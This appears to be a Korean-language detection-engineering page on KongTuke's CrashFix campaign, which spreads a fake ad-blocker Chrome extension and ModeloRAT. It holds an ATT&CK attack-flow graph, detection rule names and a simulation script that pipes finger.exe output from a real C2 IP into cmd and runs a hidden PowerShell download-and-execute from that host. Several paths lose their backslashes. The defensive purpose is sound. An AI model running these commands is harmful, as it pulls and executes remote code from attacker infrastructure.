CrashFix 해부: KongTuke의 새로운 도구
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
KongTuke는 uBlock Origin Lite를 모방한 악의적인 Chrome 확장 프로그램 NexShield를 배포했습니다. 설치되면 브라우저 보안 사건을 가장하기 위해 ‘CrashFix’ 보안 경고를 표시하고 브라우저를 충돌시키며 사용자가 클립보드에 복사된 악의적인 PowerShell 명령을 실행하도록 강요합니다. 이 캠페인은 도메인에 가입된 시스템에서는 Python RAT, ModeloRAT를 배포하고, 독립형 호스트에서는 다단계 PowerShell 체인을 배포합니다.
조사
Huntress 분석가들은 확장 프로그램의 코드를 검토하고 nexsnield.com과의 명령 및 제어를 연결하며 페이로드를 역공학하였습니다. 그들은 공격자 지시를 검색하기 위한 LOLBin으로 finger.exe의 악용과 .top 도메인을 생성하는 DGA를 관찰했습니다. 연구원들은 도메인 환경에서 HKCU 실 행 키를 통해 지속되는 RC4로 암호화된 Python 임플란트를 식별했습니다. 추가 교활한 기술로는 분석 회피 검사, AMSI 우회, 그리고 빠른 완벽한 준수를 압박하기 위한 자원 소모 전술이 포함되었습니다.
완화
Chrome 확장 ID를 차단하고 인기 있는 광고 차단기를 가장하는 미확인 확장 프로그램을 감시하세요. nexsnield.com, C2 IP 및 DGA 생성 도메인으로의 비정상적 비콘을 탐지하세요. LOLBin 사용을 제한하기 위해 실행 제어를 적용하고 특히 널리 사용되는 소프트웨어처럼 보이도록 제작된 이름의 의심스러운 실행 키 값을 경고하세요.
대응
NexShield 관련 확장 설치를 경고하고 식별된 C2 및 DGA 인프라로의 아웃바운드 연결을 상관 분석하세요. 영향을 받은 호스트를 격리하고 확장 인공물, 레지스트리 실행 키, 예약된 작업 및 드롭된 파일을 수집하세요. ModeloRAT 지속성을 제거하고 PowerShell 단계 구성요소를 제거하며 엔드포인트를 보정 및 검증하세요.
graph TB %% Class definitions classDef action fill:#FFEEAA classDef tool fill:#99CCFF classDef malware fill:#FF9999 classDef process fill:#CCFFCC classDef persistence fill:#D9D9D9 classDef operator fill:#FFCC66 content_injection[“<b>행위</b> – <b>T1659 콘텐츠 삽입</b><br/>악성 광고가 피해자를 가짜 Chrome 웹 스토어 페이지로 리디렉션하여 악성 확장 프로그램을 제공함”] class content_injection action software_extension[“<b>행위</b> – <b>T1176 소프트웨어 확장</b><br/>uBlock Origin Lite로 위장한 악성 확장 프로그램이 브라우저에 설치됨”] class software_extension action extension_nexshield[“<b>도구</b> – <b>이름</b>: NexShield (악성 Chrome 확장 프로그램)<br/><b>설명</b>: 지속성을 제공하고 추가 악성 로직을 실행함”] class extension_nexshield tool user_execution[“<b>행위</b> – <b>T1204.004 사용자 실행</b><br/>확장 프로그램이 PowerShell 명령을 클립보드에 복사하고 피해자가 Win+R을 통해 실행함”] class user_execution action powershell_process[“<b>프로세스</b> – <b>T1059.001 PowerShell</b><br/>추가 페이로드를 다운로드하는 PowerShell 명령을 실행함”] class powershell_process process cmd_process[“<b>프로세스</b> – <b>T1059.003 Windows 명령 셸</b><br/>PowerShell이 cmd.exe를 호출하여 추가 단계를 실행함”] class cmd_process process sandbox_evasion[“<b>행위</b> – <b>T1497.002 가상화/샌드박스 회피</b><br/>페이로드가 VM, 샌드박스 및 분석 도구에 대한 광범위한 검사를 수행함”] class sandbox_evasion action dos_exhaustion[“<b>행위</b> – <b>T1499.003 엔드포인트 서비스 거부</b><br/>Chrome 런타임 포트를 대량 생성하여 CPU와 메모리를 소진시키고 브라우저를 충돌시킴”] class dos_exhaustion action event_trigger[“<b>행위</b> – <b>T1546 이벤트 트리거 실행</b><br/>Chrome Alarms API를 사용해 악성 행위를 60분 지연시키고 10분마다 반복함”] class event_trigger action dead_drop[“<b>행위</b> – <b>T1102.001 웹 서비스 Dead Drop Resolver</b><br/>동적으로 생성된 DGA 도메인에 접속하여 추가 단계를 획득함”] class dead_drop action dga_resolution[“<b>행위</b> – <b>T1568 동적 해석</b><br/>도메인 생성 알고리즘이 C2용 주간 순환 도메인을 생성함”] class dga_resolution action bidirectional_comm[“<b>행위</b> – <b>T1102.002 양방향 웹 서비스 통신</b><br/>ModeloRAT이 HTTP를 통해 암호화된 명령과 응답을 교환함”] class bidirectional_comm action oneway_comm[“<b>행위</b> – <b>T1102.003 단방향 웹 서비스 통신</b><br/>텔레메트리 및 설치/업데이트 데이터를 공격자 제어 서버로 전송함”] class oneway_comm action encrypted_rc4[“<b>행위</b> – <b>T1573.001 암호화된 채널</b><br/>C2 트래픽은 RC4 대칭 암호화로 보호됨”] class encrypted_rc4 action obfuscation[“<b>행위</b> – <b>T1027 난독화된 파일 또는 정보</b><br/>페이로드는 Base64, XOR 및 AES 암호화로 다층 보호됨”] class obfuscation action stripped_payload[“<b>행위</b> – <b>T1027.008 제거된 페이로드</b><br/>분석 회피를 위해 페이로드가 제거 및 인코딩됨”] class stripped_payload action embedded_payload[“<b>행위</b> – <b>T1027.009 내장된 페이로드</b><br/>암호화된 페이로드가 메모리에 직접 로드됨”] class embedded_payload action appcert_dll[“<b>행위</b> – <b>T1546.009 이벤트 트리거 실행: AppCert DLL</b><br/>DoS 루프는 AppCert DLL 기법과 유사하게 Chrome 런타임 포트를 활용함”] class appcert_dll action remote_access_tool[“<b>멀웨어</b> – <b>T1219 원격 액세스 도구</b><br/>ModeloRAT은 완전한 원격 액세스 기능을 제공함”] class remote_access_tool malware persistence_run[“<b>행위</b> – <b>T1554 호스트 소프트웨어 바이너리 손상</b><br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run이 pythonw.exe를 실행하여 지속성을 확보함”] class persistence_run persistence exec_guardrail[“<b>행위</b> – <b>T1480.002 실행 가드레일</b><br/>UUID 비콘을 통해 이전 실행을 확인하여 중복 감염을 방지함”] class exec_guardrail action content_injection –>|leads_to| software_extension software_extension –>|installs| extension_nexshield extension_nexshield –>|provides_persistence| persistence_run extension_nexshield –>|copies_command| user_execution user_execution –>|triggers| powershell_process powershell_process –>|launches| cmd_process powershell_process –>|performs| sandbox_evasion sandbox_evasion –>|allows| powershell_process powershell_process –>|creates| dos_exhaustion dos_exhaustion –>|uses| appcert_dll extension_nexshield –>|sets| event_trigger event_trigger –>|delays| powershell_process powershell_process –>|contacts| dead_drop dead_drop –>|uses| dga_resolution dga_resolution –>|provides| bidirectional_comm bidirectional_comm –>|encrypts_with| encrypted_rc4 bidirectional_comm –>|exchanges_with| remote_access_tool oneway_comm –>|sends_to| encrypted_rc4 powershell_process –>|obfuscates_using| obfuscation obfuscation –>|includes| stripped_payload obfuscation –>|includes| embedded_payload remote_access_tool –>|communicates_via| bidirectional_comm remote_access_tool –>|sends_telemetry| oneway_comm persistence_run –>|creates| exec_guardrail exec_guardrail –>|prevents| persistence_run
공격 흐름
탐지
PowerShell로부터 의심스러운 .NET 메소드 호출 (via powershell)
보기
의심스러운 CURL 사용 (via cmdline)
보기
짧은 파일 이름 (via cmdline)
보기
의심스러운 폴더에서 수행된 가능성이 있는 수작업 또는 스크립팅 작업 (via cmdline)
보기
의심스러운 PowerShell 문자열 (via powershell)
보기
PowerShell로부터 의심스러운 Windows API 함수 호출 (via powershell)
보기
가능한 지속성 지점 [ASEPs – Software/NTUSER Hive] (via registry_event)
보기
PowerShell을 사용하여 의심스러운 디렉토리에 압축 해제된 아카이브 (via powershell)
보기
의심스러운 폴더에서의 Python 실행 (via cmdline)
보기
가능한 PowerShell 난독화 지표 (via powershell)
보기
가능한 시스템 열거 (via cmdline)
보기
PowerShell을 통한 다운로드 또는 업로드 (via cmdline)
보기
IOC (SourceIP) 탐지: CrashFix 분석: KongTuke의 새 장난감
보기
IOC (HashSha256) 탐지: CrashFix 분석: KongTuke의 새 장난감
보기
IOC (DestinationIP) 탐지: CrashFix 분석: KongTuke의 새 장난감
보기
IOC (이메일) 탐지: CrashFix 분석: KongTuke의 새 장난감
보기
KongTuke CrashFix 악의적인 명령 실행 탐지 [Windows 프로세스 생성]
보기
PowerShell을 통한 AMSI 우회 및 증거 제거 탐지 [Windows PowerShell]
보기
시뮬레이션 실행
전제조건: 텔레메트리 및 베이스라인 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대적 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성해야 합니다.
-
공격 내러티브 및 명령:
적대자는 먼저 합법적인finger.exe이진 파일을 임시 디렉토리로 복사하고ct.exe로 이름을 변경한 다음, 중첩된cmd /c체인을 사용하여 만들어진 인수와 함께 복사된 이진 파일을 호출하여 원격 C2 서버(199.217.98.108)에 접속합니다. 이진 파일은 페이로드를 명령줄로 스트리밍하고, 이는 두 번째 숨겨진cmd에 파이핑하여 수신된 코드를 실행합니다. 이후 공격자는 PowerShell을 사용하여Invoke‑WebRequest를 통해 2차 페이로드를 다운로드하고 즉시iex로 실행합니다. 모든 단계는 최소한의 UI(/min)로 실행되어 사용자 탐지를 피합니다.1. finger.exe를 %TEMP%ct.exe로 복사합니다. 2. 실행: cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd" 3. PowerShell 다운로드 및 두 번째 페이로드 실행: powershell -NoProfile -WindowStyle Hidden -Command "iex (Invoke-WebRequest -Uri 'http://199.217.98.108/payload.ps1' -UseBasicParsing).Content" -
회귀 테스트 스크립트: 다음 스크립트는 Windows 테스트 머신에서 전체 공격 체인을 재현합니다. 관리자 권한 PowerShell 세션에서 실행하세요.
#------------------------------------------------- # KongTuke CrashFix 악의적인 명령 실행 #------------------------------------------------- # 1. LOLBin(finger.exe)을 %TEMP%에 ct.exe로 배포 $fingerPath = "$env:windirsystem32finger.exe" $tempExe = "$env:TEMPct.exe" Copy-Item -Path $fingerPath -Destination $tempExe -Force # 2. 악의적인 cmd 체인 실행(Sigma 규칙과 일치) $maliciousCmd = 'cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $maliciousCmd" -WindowStyle Hidden # 3. PowerShell 웹‑다운로드‑실행 두 번째 페이로드 $payloadUrl = 'http://199.217.98.108/payload.ps1' $psCommand = "iex (Invoke-WebRequest -Uri `'$payloadUrl`' -UseBasicParsing).Content" Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `$psCommand`" -WindowStyle Hidden #------------------------------------------------- -
정리 명령: 테스트에서 생성된 남아 있는 모든 프로세스를 제거하고 정리합니다.
# 복사된 ct.exe 삭제 Remove-Item -Path "$env:TEMPct.exe" -ErrorAction SilentlyContinue # 테스트에 의해 시작된 cmd.exe 또는 powershell.exe 프로세스 제거(특정 명령줄로 필터링) Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match 'finger.exe|199.217.98.108' } | ForEach-Object { $_.Terminate() } # 필요에 따라 반복성을 위해 이벤트 로그 지우기 # wevlutil cl Security